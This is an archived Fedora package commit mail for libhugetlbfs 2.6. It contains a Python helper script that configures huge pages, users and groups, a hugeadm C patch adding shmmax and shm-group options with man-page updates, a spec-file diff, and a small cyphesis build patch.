if not os.access(limitsConf, os.W_OK):
    print "Cannot access %s" % limitsConf
    if debug == False:
        os._exit(1)


# Figure out what we've got in the way of memory
memTotal = 0
hugePageSize = 0
hugePages = 0

hugeadmexplain = os.popen("/usr/bin/hugeadm --explain 2>/dev/null").readlines()

for line in hugeadmexplain:
    if line.startswith("Total System Memory:"):
        memTotal = int(line.split()[3])
        break

if memTotal == 0:
    print "Your version of libhugetlbfs' hugeadm utility is too old!"
    os._exit(1)


# Pick the default huge page size and see how many pages are allocated
poolList = os.popen("/usr/bin/hugeadm --pool-list").readlines()
for line in poolList:
    if line.split()[4] == '*':
        hugePageSize = int(line.split()[0])
        hugePages = int(line.split()[2])
        break


# Get initial sysctl settings
shmmax = 0
hugeGID = 0

for line in hugeadmexplain:
    if line.startswith("A /proc/sys/kernel/shmmax value of"):
        shmmax = int(line.split()[4])
        break

for line in hugeadmexplain:
    if line.strip().startswith("vm.hugetlb_shm_group = "):
        hugeGID = int(line.split()[2])
        break


# translate group into textual version
hugeGIDName = "null"
groupNames = os.popen("/usr/bin/getent group").readlines()
for line in groupNames:
    curGID = int(line.split(":")[2])
    if curGID == hugeGID:
        hugeGIDName = line.split(":")[0]
        break


# dump system config as we see it before we start tweaking it
print "Current configuration:"
print " * Total System Memory......: %6d MB" % memTotal
print " * Shared Mem Max Mapping...: %6d MB" % (shmmax / (1024 * 1024))
print " * System Huge Page Size....: %6d MB" % (hugePageSize / (1024 * 1024))
print " * Number of Huge Pages.....: %6d"    % hugePages
print " * Total size of Huge Pages.: %6d MB" % (hugePages * hugePageSize / (1024 * 1024))
print " * Remaining System Memory..: %6d MB" % (memTotal - (hugePages * hugePageSize / (1024 * 1024)))
print " * Huge Page User Group.....:  %s (%d)" % (hugeGIDName, hugeGID)
print


# ask how memory they want to allocate for huge pages
userIn = None
while not userIn:
    try:
        userIn = raw_input("How much memory would you like to allocate for huge pages? "
                           "(input in MB, unless postfixed with GB): ")
	if userIn[-2:] == "GB":
            userHugePageReqMB = int(userIn[0:-2]) * 1024
	elif userIn[-1:] == "G":
            userHugePageReqMB = int(userIn[0:-1]) * 1024
	elif userIn[-2:] == "MB":
            userHugePageReqMB = int(userIn[0:-2])
	elif userIn[-1:] == "M":
            userHugePageReqMB = int(userIn[0:-1])
        else:
            userHugePageReqMB = int(userIn)
        # As a sanity safeguard, require at least 128M not be allocated to huge pages
        if userHugePageReqMB > (memTotal - 128):
            userIn = None
            print "Refusing to allocate %d, you must leave at least 128MB for the system" % userHugePageReqMB
        else:
            break
    except ValueError:
        userIn = None
        print "Input must be an integer, please try again!"
userHugePageReqKB = userHugePageReqMB * 1024
userHugePagesReq = userHugePageReqKB / (hugePageSize / 1024)
print "Okay, we'll try to allocate %d MB for huge pages..." % userHugePageReqMB
print


# some basic user input validation
badchars = list(' \\\'":;~`!$^&*(){}[]?/><,')
inputIsValid = False
foundbad = False
# ask for the name of the group allowed access to huge pages
while inputIsValid == False:
    userGroupReq = raw_input("What group should have access to the huge pages? "
                             "(The group will be created, if need be): ")
    if userGroupReq[0].isdigit():
        foundbad = True
        print "Group names cannot start with a number, please try again!"
    for char in badchars:
        if char in userGroupReq:
            foundbad = True
            print "Illegal characters in group name, please try again!"
            break
    if foundbad == False:
        inputIsValid = True
print "Okay, we'll give group %s access to the huge pages" % userGroupReq


# see if group already exists, use it if it does, if not, create it
userGIDReq = -1
for line in groupNames:
    curGroupName = line.split(":")[0]
    if curGroupName == userGroupReq:
        userGIDReq = int(line.split(":")[2])
        break

if userGIDReq > -1:
    print "Group %s (gid %d) already exists, we'll use it" % (userGroupReq, userGIDReq)
else:
    if debug == False:
    	os.popen("/usr/sbin/groupadd %s" % userGroupReq)
    else:
        print "/usr/sbin/groupadd %s" % userGroupReq
    groupNames = os.popen("/usr/bin/getent group %s" % userGroupReq).readlines()
    for line in groupNames:
        curGroupName = line.split(":")[0]
        if curGroupName == userGroupReq:
            userGIDReq = int(line.split(":")[2])
            break
    print "Created group %s (gid %d) for huge page use" % (userGroupReq, userGIDReq)
print


# basic user input validation, take 2
# space is valid in this case, wasn't in the prior incarnation
badchars = list('\\\'":;~`!$^&*(){}[]?/><,')
inputIsValid = False
# ask for user(s) that should be in the huge page access group
while inputIsValid == False:
    userUsersReq = raw_input("What user(s) should have access to the huge pages (space-delimited list, users created as needed)? ")
    for char in badchars:
        if char in userUsersReq:
            foundbad = True
            print "Illegal characters in user name(s) or invalid list format, please try again!"
            break
    if foundbad == False:
        inputIsValid = True
# see if user(s) already exist(s)
curUserList = os.popen("/usr/bin/getent passwd").readlines()
hugePageUserList = userUsersReq.split()
for hugeUser in hugePageUserList:
    userExists = False
    for line in curUserList:
        curUser = line.split(":")[0]
        if curUser == hugeUser:
            print "Adding user %s to huge page group" % hugeUser
            userExists = True
            if debug == False:
                os.popen("/usr/sbin/usermod -a -G %s %s" % (userGroupReq, hugeUser))
            else:
                print "/usr/sbin/usermod -a -G %s %s" % (userGroupReq, hugeUser)
        if userExists == True:
            break
    if userExists == False:
        print "Creating user %s with membership in huge page group" % hugeUser
        if debug == False:
            os.popen("/usr/sbin/useradd %s -G %s" % (hugeUser, userGroupReq))
        else:
            print "/usr/sbin/useradd %s -G %s" % (hugeUser, userGroupReq)
print


# set values for the current running environment
if debug == False:
    os.popen("/usr/bin/hugeadm --pool-pages-min DEFAULT:%sM" % userHugePageReqMB)
    os.popen("/usr/bin/hugeadm --pool-pages-max DEFAULT:%sM" % userHugePageReqMB)
    os.popen("/usr/bin/hugeadm --set-shm-group %d" % userGIDReq)
    os.popen("/usr/bin/hugeadm --set-recommended-shmmax")
else:
    print "/usr/bin/hugeadm --pool-pages-min DEFAULT:%sM" % userHugePageReqMB
    print "/usr/bin/hugeadm --pool-pages-max DEFAULT:%sM" % userHugePageReqMB
    print "/usr/bin/hugeadm --set-shm-group %d" % userGIDReq
    print "/usr/bin/hugeadm --set-recommended-shmmax"
    print

# figure out what that shmmax value we just set was
hugeadmexplain = os.popen("/usr/bin/hugeadm --explain 2>/dev/null").readlines()
for line in hugeadmexplain:
    if line.strip().startswith("kernel.shmmax = "):
        shmmax = int(line.split()[2])
        break

# write out sysctl config changes to persist across reboot
if debug == False:
    sysctlConfLines = "# sysctl configuration\n"
    if os.access(sysctlConf, os.W_OK):
        try:
            sysctlConfLines = open(sysctlConf).readlines()
            os.rename(sysctlConf, sysctlConf + ".backup")
            print("Saved original %s as %s.backup" % (sysctlConf, sysctlConf))
        except:
            pass

    fd = open(sysctlConf, "w")
    for line in sysctlConfLines:
        if line.startswith("kernel.shmmax"):
            continue
        elif line.startswith("vm.nr_hugepages"):
            continue
        elif line.startswith("vm.hugetlb_shm_group"):
            continue
        else:
            fd.write(line);

    fd.write("kernel.shmmax = %d\n" % shmmax)
    fd.write("vm.nr_hugepages = %d\n" % userHugePagesReq)
    fd.write("vm.hugetlb_shm_group = %d\n" % userGIDReq)
    fd.close()

else:
    print "Add to %s:" % sysctlConf
    print "kernel.shmmax = %d" % shmmax
    print "vm.nr_hugepages = %d" % userHugePagesReq
    print "vm.hugetlb_shm_group = %d" % userGIDReq
    print


# write out limits.conf changes to persist across reboot
if debug == False:
    limitsConfLines = "# Huge page access configuration\n"
    if os.access(limitsConf, os.W_OK):
        try:
            limitsConfLines = open(limitsConf).readlines()
            os.rename(limitsConf, limitsConf + ".backup")
            print("Saved original %s as %s.backup" % (limitsConf, limitsConf))
        except:
            pass

    fd = open(limitsConf, "w")
    for line in limitsConfLines:
        cfgExist = False
        for hugeUser in hugePageUserList:
            if line.split()[0] == hugeUser:
                cfgExist = True
        if cfgExist == True:
            continue
        else:
            fd.write(line)

    for hugeUser in hugePageUserList:
        fd.write("%s		soft	memlock		%d\n" % (hugeUser, userHugePageReqKB))
        fd.write("%s		hard	memlock		%d\n" % (hugeUser, userHugePageReqKB))
    fd.close()

else:
    print "Add to %s:" % limitsConf
    for hugeUser in hugePageUserList:
        print "%s		soft	memlock		%d" % (hugeUser, userHugePageReqKB)
        print "%s		hard	memlock		%d" % (hugeUser, userHugePageReqKB)


# dump the final configuration of things now that we're done tweaking
print
print "Final configuration:"
print " * Total System Memory......: %6d MB" % memTotal
if debug == False:
    print " * Shared Mem Max Mapping...: %6d MB" % (shmmax / (1024 * 1024))
else:
    # This should be what we *would* have set it to, had we actually run hugeadm --set-recommended-shmmax
    print " * Shared Mem Max Mapping...: %6d MB" % (userHugePagesReq * hugePageSize / (1024 * 1024))
print " * System Huge Page Size....: %6d MB" % (hugePageSize / (1024 * 1024))
print " * Available Huge Pages.....: %6d"    % userHugePagesReq
print " * Total size of Huge Pages.: %6d MB" % (userHugePagesReq * hugePageSize / (1024 * 1024))
print " * Remaining System Memory..: %6d MB" % (memTotal - userHugePageReqMB)
print " * Huge Page User Group.....:  %s (%d)" % (userGroupReq, userGIDReq)
print



libhugetlbfs-2.6-hugeadm-enhancements.patch:
 hugeadm.c     |  223 +++++++++++++++++++++++++++++++++++++++++++++++++++++++---
 man/hugeadm.8 |   41 ++++++++--
 2 files changed, 245 insertions(+), 19 deletions(-)

--- NEW FILE libhugetlbfs-2.6-hugeadm-enhancements.patch ---
 hugeadm.c     |  223 ++++++++++++++++++++++++++++++++++++++++++++++++++++++---
 man/hugeadm.8 |   41 ++++++++---
 2 files changed, 245 insertions(+), 19 deletions(-)

diff --git a/hugeadm.c b/hugeadm.c
index a793267..1666e27 100644
--- a/hugeadm.c
+++ b/hugeadm.c
@@ -67,12 +67,15 @@ extern char *optarg;
 #define PROCMOUNTS "/proc/mounts"
 #define PROCHUGEPAGES_MOVABLE "/proc/sys/vm/hugepages_treat_as_movable"
 #define PROCMINFREEKBYTES "/proc/sys/vm/min_free_kbytes"
+#define PROCSHMMAX "/proc/sys/kernel/shmmax"
+#define PROCHUGETLBGROUP "/proc/sys/vm/hugetlb_shm_group"
 #define PROCZONEINFO "/proc/zoneinfo"
 #define FS_NAME "hugetlbfs"
 #define MIN_COL 20
 #define MAX_SIZE_MNTENT (64 + PATH_MAX + 32 + 128 + 2 * sizeof(int))
 #define FORMAT_LEN 20
 
+#define MEM_TOTAL "MemTotal:"
 #define SWAP_FREE "SwapFree:"
 #define SWAP_TOTAL "SwapTotal:"
 
@@ -86,13 +89,17 @@ void print_usage()
 	OPTION("--hard", "specified with --pool-pages-min to make");
 	CONT("multiple attempts at adjusting the pool size to the");
 	CONT("specified count on failure");
-	OPTION("--pool-pages-min <size>:[+|-]<count>", "");
+	OPTION("--pool-pages-min <size|DEFAULT>:[+|-]<pagecount|memsize<G|M|K>>", "");
 	CONT("Adjust pool 'size' lower bound");
-	OPTION("--pool-pages-max <size>:[+|-]<count>", "");
+	OPTION("--pool-pages-max <size|DEFAULT>:[+|-]<pagecount|memsize<G|M|K>>", "");
 	CONT("Adjust pool 'size' upper bound");
 	OPTION("--set-recommended-min_free_kbytes", "");
 	CONT("Sets min_free_kbytes to a recommended value to improve availability of");
 	CONT("huge pages at runtime");
+	OPTION("--set-recommended-shmmax", "Sets shmmax to a recommended value to");
+	CONT("maximise the size possible for shared memory pools");
+	OPTION("--set-shm-group <gid|groupname>", "Sets hugetlb_shm_group to the");
+	CONT("specified group, which has permission to use hugetlb shared memory pools");
 	OPTION("--add-temp-swap[=count]", "Specified with --pool-pages-min to create");
 	CONT("temporary swap space for the duration of the pool resize. Default swap");
 	CONT("size is 5 huge pages. Optional arg sets size to 'count' huge pages");
@@ -135,6 +142,8 @@ int opt_dry_run = 0;
 int opt_hard = 0;
 int opt_movable = -1;
 int opt_set_recommended_minfreekbytes = 0;
+int opt_set_recommended_shmmax = 0;
+int opt_set_hugetlb_shm_group = 0;
 int opt_temp_swap = 0;
 int opt_ramdisk_swap = 0;
 int opt_swap_persist = 0;
@@ -215,6 +224,8 @@ void verbose_expose(void)
 #define LONG_POOL_MAX_ADJ	(LONG_POOL|'M')
 
 #define LONG_SET_RECOMMENDED_MINFREEKBYTES	('k' << 8)
+#define LONG_SET_RECOMMENDED_SHMMAX		('x' << 8)
+#define LONG_SET_HUGETLB_SHM_GROUP		('R' << 8)
 
 #define LONG_MOVABLE		('z' << 8)
 #define LONG_MOVABLE_ENABLE	(LONG_MOVABLE|'e')
@@ -589,6 +600,19 @@ void create_mounts(char *user, char *group, char *base, mode_t mode)
 }
 
 /**
+ * show_mem shouldn't change the behavior of any of its
+ * callers, it only prints a message to the user showing the
+ * total amount of memory in the system (in megabytes).
+ */
+void show_mem()
+{
+	long mem_total;
+
+	mem_total = read_meminfo(MEM_TOTAL);
+	printf("Total System Memory: %ld MB\n\n", mem_total / 1024);
+}
+
+/**
  * check_swap shouldn't change the behavior of any of its
  * callers, it only prints a message to the user if something
  * is being done that might fail without swap available.  i.e.
@@ -668,12 +692,130 @@ void check_minfreekbytes(void)
 	/* There should be at least one pageblock free per zone in the system */
 	if (recommended_min > min_free_kbytes) {
 		printf("\n");
-		printf("The " PROCMINFREEKBYTES " of %ld is too small. To maximiuse efficiency\n", min_free_kbytes);
+		printf("The " PROCMINFREEKBYTES " of %ld is too small. To maximise efficiency\n", min_free_kbytes);
 		printf("of fragmentation avoidance, there should be at least one huge page free per zone\n");
 		printf("in the system which minimally requires a min_free_kbytes value of %ld\n", recommended_min);
 	}
 }
 
+long recommended_shmmax(void)
+{
+	struct hpage_pool pools[MAX_POOLS];
+	long recommended_shmmax = 0;
+	int pos, cnt;
+
+	cnt = hpool_sizes(pools, MAX_POOLS);
+	if (cnt < 0) {
+		ERROR("unable to obtain pools list");
+		exit(EXIT_FAILURE);
+	}
+
+	for (pos = 0; cnt--; pos++)
+		recommended_shmmax += (pools[pos].maximum * pools[pos].pagesize);
+
+	return recommended_shmmax;
+}
+
+void set_recommended_shmmax(void)
+{
+	int ret;
+	long recommended = recommended_shmmax();
+
+	if (recommended == 0) {
+		printf("\n");
+		WARNING("We can only set a recommended shmmax when huge pages are configured!\n");
+		return;
+	}
+
+	DEBUG("Setting shmmax to %ld\n", recommended);
+	ret = file_write_ulong(PROCSHMMAX, (unsigned long)recommended);
+
+	if (!ret) {
+		INFO("To make shmmax settings persistent, add the following line to /etc/sysctl.conf:\n");
+		INFO("  kernel.shmmax = %ld\n", recommended);
+	}
+}
+
+void check_shmmax(void)
+{
+	long current_shmmax = file_read_ulong(PROCSHMMAX, NULL);
+	long recommended = recommended_shmmax();
+
+	if (current_shmmax != recommended) {
+		printf("\n");
+		printf("A " PROCSHMMAX " value of %ld bytes may be sub-optimal. To maximise\n", current_shmmax);
+		printf("shared memory usage, this should be set to the size of the largest shared memory\n");
+		printf("segment size you want to be able to use. Alternatively, set it to a size matching\n");
+		printf("the maximum possible allocation size of all huge pages. This can be done\n");
+		printf("automatically, using the --set-recommended-shmmax option.\n");
+	}
+
+	if (recommended == 0) {
+		printf("\n");
+		WARNING("We can't make a shmmax recommendation until huge pages are configured!\n");
+		return;
+	}
+
+	printf("\n");
+	printf("The recommended shmmax for your currently allocated huge pages is %ld bytes.\n", recommended);
+	printf("To make shmmax settings persistent, add the following line to /etc/sysctl.conf:\n");
+	printf("  kernel.shmmax = %ld\n", recommended);
+}
+
+void set_hugetlb_shm_group(gid_t gid, char *group)
+{
+	int ret;
+
+	DEBUG("Setting hugetlb_shm_group to %d (%s)\n", gid, group);
+	ret = file_write_ulong(PROCHUGETLBGROUP, (unsigned long)gid);
+
+	if (!ret) {
+		INFO("To make hugetlb_shm_group settings persistent, add the following line to /etc/sysctl.conf:\n");
+		INFO("  vm.hugetlb_shm_group = %d\n", gid);
+	}
+}
+
+/* heisted from shadow-utils/libmisc/list.c::is_on_list() */
+static int user_in_group(char *const *list, const char *member)
+{
+	while (*list != NULL) {
+		if (strcmp(*list, member) == 0) {
+			return 1;
+		}
+		list++;
+	}
+
+	return 0;
+}
+
+void check_user(void)
+{
+	uid_t uid;
+	gid_t gid;
+	struct passwd *pwd;
+	struct group *grp;
+
+	gid = (gid_t)file_read_ulong(PROCHUGETLBGROUP, NULL);
+	grp = getgrgid(gid);
+	if (!grp) {
+		printf("\n");
+		WARNING("Group ID %d in hugetlb_shm_group doesn't appear to be a valid group!\n", gid);
+		return;
+	}
+
+	uid = getuid();
+	pwd = getpwuid(uid);
+
+	if (gid != pwd->pw_gid && !user_in_group(grp->gr_mem, pwd->pw_name) && uid != 0) {
+		printf("\n");
+		WARNING("User %s (uid: %d) is not a member of the hugetlb_shm_group %s (gid: %d)!\n", pwd->pw_name, uid, grp->gr_name, gid);
+	} else {
+		printf("\n");
+		printf("To make your hugetlb_shm_group settings persistent, add the following line to /etc/sysctl.conf:\n");
+		printf("  vm.hugetlb_shm_group = %d\n", gid);
+	}
+}
+
 void add_temp_swap(long page_size)
 {
 	char path[PATH_MAX];
@@ -828,18 +970,37 @@ enum {
 	POOL_BOTH,
 };
 
-static long value_adjust(char *adjust_str, long base)
+static long value_adjust(char *adjust_str, long base, long page_size)
 {
 	long adjust;
 	char *iter;
 
 	/* Convert and validate the adjust. */
+	errno = 0;
 	adjust = strtol(adjust_str, &iter, 0);
-	if (*iter) {
+	/* Catch strtol errors and sizes that overflow the native word size */
+	if (errno || adjust_str == iter) {
+		if (errno == ERANGE)
+			errno = EOVERFLOW;
+		else
+			errno = EINVAL;
 		ERROR("%s: invalid adjustment\n", adjust_str);
 		exit(EXIT_FAILURE);
 	}
 
+	switch (*iter) {
+	case 'G':
+	case 'g':
+		adjust = size_to_smaller_unit(adjust);
+	case 'M':
+	case 'm':
+		adjust = size_to_smaller_unit(adjust);
+	case 'K':
+	case 'k':
+		adjust = size_to_smaller_unit(adjust);
+		adjust = adjust / page_size;
+	}
+
 	if (adjust_str[0] != '+' && adjust_str[0] != '-')
 		base = 0;
 
@@ -852,6 +1013,8 @@ static long value_adjust(char *adjust_str, long base)
 	}
 	base += adjust;
 
+	DEBUG("Returning page count of %ld\n", base);
+
 	return base;
 }
 
@@ -885,7 +1048,12 @@ void pool_adjust(char *cmd, unsigned int counter)
 					page_size_str, adjust_str, counter);
 
 	/* Convert and validate the page_size. */
-	page_size = parse_page_size(page_size_str);
+	if (strcmp(page_size_str, "DEFAULT") == 0)
+		page_size = kernel_default_hugepage_size();
+	else
+		page_size = parse_page_size(page_size_str);
+
+	DEBUG("Working with page_size of %ld\n", page_size);
 
 	cnt = hpool_sizes(pools, MAX_POOLS);
 	if (cnt < 0) {
@@ -905,14 +1073,14 @@ void pool_adjust(char *cmd, unsigned int counter)
 	max = pools[pos].maximum;
 
 	if (counter == POOL_BOTH) {
-		min = value_adjust(adjust_str, min);
+		min = value_adjust(adjust_str, min, page_size);
 		max = min;
 	} else if (counter == POOL_MIN) {
-		min = value_adjust(adjust_str, min);
+		min = value_adjust(adjust_str, min, page_size);
 		if (min > max)
 			max = min;
 	} else {
-		max = value_adjust(adjust_str, max);
+		max = value_adjust(adjust_str, max, page_size);
 		if (max < min)
 			min = max;
 	}
@@ -1003,13 +1171,16 @@ void page_sizes(int all)
 
 void explain()
 {
+	show_mem();
 	mounts_list_all();
 	printf("\nHuge page pools:\n");
 	pool_list();
 	printf("\nHuge page sizes with configured pools:\n");
 	page_sizes(0);
 	check_minfreekbytes();
+	check_shmmax();
 	check_swap();
+	check_user();
 	printf("\nNote: Permanent swap space should be preferred when dynamic "
 		"huge page pools are used.\n");
 }
@@ -1027,6 +1198,9 @@ int main(int argc, char** argv)
 	int opt_global_mounts = 0, opt_pgsizes = 0, opt_pgsizes_all = 0;
 	int opt_explain = 0, minadj_count = 0, maxadj_count = 0;
 	int ret = 0, index = 0;
+	gid_t opt_gid = 0;
+	struct group *opt_grp = NULL;
+	int group_invalid = 0;
 	struct option long_opts[] = {
 		{"help",       no_argument, NULL, 'h'},
 		{"verbose",    required_argument, NULL, 'v' },
@@ -1036,6 +1210,8 @@ int main(int argc, char** argv)
 		{"pool-pages-min", required_argument, NULL, LONG_POOL_MIN_ADJ},
 		{"pool-pages-max", required_argument, NULL, LONG_POOL_MAX_ADJ},
 		{"set-recommended-min_free_kbytes", no_argument, NULL, LONG_SET_RECOMMENDED_MINFREEKBYTES},
+		{"set-recommended-shmmax", no_argument, NULL, LONG_SET_RECOMMENDED_SHMMAX},
+		{"set-shm-group", required_argument, NULL, LONG_SET_HUGETLB_SHM_GROUP},
 		{"enable-zone-movable", no_argument, NULL, LONG_MOVABLE_ENABLE},
 		{"disable-zone-movable", no_argument, NULL, LONG_MOVABLE_DISABLE},
 		{"hard", no_argument, NULL, LONG_HARD},
@@ -1153,6 +1329,29 @@ int main(int argc, char** argv)
 			opt_set_recommended_minfreekbytes = 1;
 			break;
 
+		case LONG_SET_RECOMMENDED_SHMMAX:
+			opt_set_recommended_shmmax = 1;
+			break;
+
+		case LONG_SET_HUGETLB_SHM_GROUP:
+			opt_grp = getgrnam(optarg);
+			if (!opt_grp) {
+				opt_gid = atoi(optarg);
+				if (opt_gid == 0 && strcmp(optarg, "0"))
+					group_invalid = 1;
+				opt_grp = getgrgid(opt_gid);
+				if (!opt_grp)
+					group_invalid = 1;
+			} else {
+				opt_gid = opt_grp->gr_gid;
+			}
+			if (group_invalid) {
+				ERROR("Invalid group specification (%s)\n", optarg);
+				exit(EXIT_FAILURE);
+			}
+			opt_set_hugetlb_shm_group = 1;
+			break;
+
 		case LONG_MOVABLE_DISABLE:
 			opt_movable = 0;
 			break;
@@ -1208,6 +1407,12 @@ int main(int argc, char** argv)
 	if (opt_set_recommended_minfreekbytes)
 		set_recommended_minfreekbytes();
 
+	if (opt_set_recommended_shmmax)
+		set_recommended_shmmax();
+
+	if (opt_set_hugetlb_shm_group)
+		set_hugetlb_shm_group(opt_gid, opt_grp->gr_name);
+
 	while (--minadj_count >= 0) {
 		if (! kernel_has_overcommit())
 			pool_adjust(opt_min_adj[minadj_count], POOL_BOTH);
diff --git a/man/hugeadm.8 b/man/hugeadm.8
index 6342980..fc8c8ac 100644
--- a/man/hugeadm.8
+++ b/man/hugeadm.8
@@ -2,7 +2,7 @@
 .\" First parameter, NAME, should be all caps
 .\" Second parameter, SECTION, should be 1-8, maybe w/ subsection
 .\" other parameters are allowed: see man(7), man(1)
-.TH HUGEADM 8 "October 10, 2008"
+.TH HUGEADM 8 "October 1, 2009"
 .\" Please adjust this date whenever revising the manpage.
 .\"
 .\" Some roff macros, for reference:
@@ -87,6 +87,22 @@ avoiding mixing is to increase /proc/sys/vm/min_free_kbytes. This parameter
 sets min_free_kbytes to a recommended value to aid fragmentation avoidance.
 
 .TP
+.B --set-recommended-shmmax
+
+The maximum shared memory segment size should be set to at least the size
+of the largest shared memory segment size you want available for applications
+using huge pages, via /proc/sys/kernel/shmmax. Optionally, it can be set
+automatically to match the maximum possible size of all huge page allocations
+and thus the maximum possible shared memory segment size, using this switch.
+
+.TP
+.B --set-shm-group=<gid|groupname>
+
+Users in the group specified in /proc/sys/vm/hugetlb_shm_group are granted
+full access to huge pages. The sysctl takes a numeric gid, but this hugeadm
+option can set it for you, using either a gid or group name.
+
+.TP
 .B --page-sizes
 
 This displays every page size supported by the system and has a pool
@@ -107,25 +123,30 @@ This displays all active mount points for hugetlbfs.
 The following options configure the pool.
 
 .TP
-.B --pool-pages-min=<size>:[+|-]<count>
+.B --pool-pages-min=<size|DEFAULT>:[+|-]<pagecount|memsize<G|M|K>>
 
 This option sets or adjusts the Minimum number of hugepages in the pool for
 pagesize \fBsize\fP. \fBsize\fP may be specified in bytes or in kilobytes,
-megabytes, or gigabytes by appending K, M, or G respectively. The pool is set
-to \fBcount\fP pages if + or - are not specified. If + or - are specified,
-then the size of the pool will adjust by that amount. Note that there is
-no guarantee that the system can allocate the hugepages requested for the
-Minimum pool. The size of the pools should be checked after executing this
-command to ensure they were successful.
+megabytes, or gigabytes by appending K, M, or G respectively, or as DEFAULT,
+which uses the system's default huge page size for \fBsize\fP. The pool size
+adjustment can be specified by \fBpagecount\fP pages or by \fBmemsize\fP, if
+postfixed with G, M, or K, for gigabytes, megabytes, or kilobytes,
+respectively. If the adjustment is specified via \fBmemsize\fP, then the
+\fBpagecount\fP will be calculated for you, based on page size \fBsize\fP.
+The pool is set to \fBpagecount\fP pages if + or - are not specified. If
++ or - are specified, then the size of the pool will adjust by that amount.
+Note that there is no guarantee that the system can allocate the hugepages
+requested for the Minimum pool. The size of the pools should be checked after
+executing this command to ensure they were successful.
 
 .TP
-.B --pool-pages-max=<size>:[+|-]<count>
+.B --pool-pages-max=<size|DEFAULT>:[+|-]<pagecount|memsize<G|M|K>>
 
 This option sets or adjusts the Maximum number of hugepages. Note that while
 the Minimum number of pages are guaranteed to be available to applications,
 there is not guarantee that the system can allocate the pages on demand when
 the number of huge pages requested by applications is between the Minimum and
-Maximum pool sizes.
+Maximum pool sizes. See --pool-pages-min for usage syntax.
 
 .TP
 .B --enable-zone-movable


Index: libhugetlbfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libhugetlbfs/devel/libhugetlbfs.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- libhugetlbfs.spec	3 Sep 2009 09:47:36 -0000	1.31
+++ libhugetlbfs.spec	5 Oct 2009 18:56:01 -0000	1.32
@@ -1,13 +1,17 @@
 Name: libhugetlbfs
 Version: 2.6
-Release: 2%{?dist}
+Release: 3%{?dist}
 Summary: A library which provides easy access to huge pages of memory
 
 Group: System Environment/Libraries
 License: LGPLv2+
 URL: http://libhugetlbfs.sourceforge.net/
 Source0: http://downloads.sourceforge.net/libhugetlbfs/%{name}-%{version}.tar.gz
+# Sent upstream for review and possible inclusion in next release on 2009.10.02
+Source1: huge_page_setup_helper.py
 Patch0: libhugetlbfs-2.6-s390x-build.patch
+# Sent upstream for review 2009.10.02, all acked at least once now
+Patch1: libhugetlbfs-2.6-hugeadm-enhancements.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: kernel-devel glibc-headers
 Conflicts: kernel < 2.6.16
@@ -43,6 +47,7 @@ pool size control. pagesize lists page s
 %prep
 %setup -q -n %{name}-%{version}
 %patch0 -p1 -b .s390x-build
+%patch1 -p1 -b .enhanced
 
 %build
 # Parallel builds are not reliable
@@ -51,6 +56,9 @@ make BUILDTYPE=NATIVEONLY
 %install
 rm -rf $RPM_BUILD_ROOT
 make install PREFIX=%{_prefix} DESTDIR=$RPM_BUILD_ROOT LDSCRIPTDIR=%{ldscriptdir} BUILDTYPE=NATIVEONLY
+install -p -m755 %{SOURCE1} $RPM_BUILD_ROOT/%{_bindir}/
+mkdir -p -m755 $RPM_BUILD_ROOT%{_sysconfdir}/security/limits.d
+touch $RPM_BUILD_ROOT%{_sysconfdir}/security/limits.d/hugepages.conf
 
 # remove statically built libraries:
 rm -f $RPM_BUILD_ROOT/%{_libdir}/*.a
@@ -69,6 +77,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/libhugetlbfs.so*
 %{_datadir}/%{name}/
 %{_mandir}/man7/libhugetlbfs.7.gz
+%ghost %config(noreplace) %{_sysconfdir}/security/limits.d/hugepages.conf
 %exclude %{_libdir}/libhugetlbfs_privutils.so
 %doc README HOWTO LGPL-2.1 NEWS
 
@@ -88,6 +97,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/hugeadm
 %{_bindir}/hugectl
 %{_bindir}/pagesize
+%{_bindir}/huge_page_setup_helper.py*
 %exclude %{_bindir}/cpupcstat
 %exclude %{_bindir}/oprofile_map_events.pl
 %exclude %{_bindir}/oprofile_start.sh
@@ -99,6 +109,10 @@ rm -rf $RPM_BUILD_ROOT
 %exclude /usr/lib/perl5/TLBC
 
 %changelog
+* Fri Oct 02 2009 Jarod Wilson <jarod at redhat.com> 2.6-3
+- Add hopefully-about-to-be-merged-upstream hugeadm enhancements
+- Add huge pages setup helper script, using new hugeadm enhancements
+
 * Thu Sep 03 2009 Nils Philippsen <nils at redhat.com> 2.6-2
 - fix building on s390x
 



From atorkhov at fedoraproject.org  Mon Oct  5 18:56:20 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Mon,  5 Oct 2009 18:56:20 +0000 (UTC)
Subject: rpms/cyphesis/devel cyphesis-0.5.21-gcc44.patch,NONE,1.1
Message-ID: <20091005185620.5808C11C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/cyphesis/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5672

Added Files:
	cyphesis-0.5.21-gcc44.patch 
Log Message:
* Mon Oct 05 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.5.21-1
- Update to 0.5.21


cyphesis-0.5.21-gcc44.patch:
 CommMDNSPublisher.cpp |    2 ++
 1 file changed, 2 insertions(+)

--- NEW FILE cyphesis-0.5.21-gcc44.patch ---
commit 86068c36c2fa93053c6c2fd67d563c28daa00b12
Author: Alistair Riddoch <alriddoch at googlemail.com>
Date:   Sat Sep 12 19:19:41 2009 +0100

    Add cassert to the code for avahi support.

diff --git a/server/CommMDNSPublisher.cpp b/server/CommMDNSPublisher.cpp
index a031973..76a5cf5 100644
--- a/server/CommMDNSPublisher.cpp
+++ b/server/CommMDNSPublisher.cpp
@@ -148,6 +148,8 @@ void CommMDNSPublisher::dispatch()
 
 #include <avahi-common/error.h>
 
+#include <cassert>
+
 static const bool debug_flag = false;
 
 static void avahi_client_callback(AvahiClient * s,



From atorkhov at fedoraproject.org  Mon Oct  5 18:56:30 2009
From: atorkhov at fedoraproject.org (Alexey Torkhov)
Date: Mon,  5 Oct 2009 18:56:30 +0000 (UTC)
Subject: rpms/cyphesis/F-12 cyphesis-0.5.21-gcc44.patch,NONE,1.1
Message-ID: <20091005185630.49B3711C00DB@cvs1.fedora.phx.redhat.com>

Author: atorkhov

Update of /cvs/pkgs/rpms/cyphesis/F-12
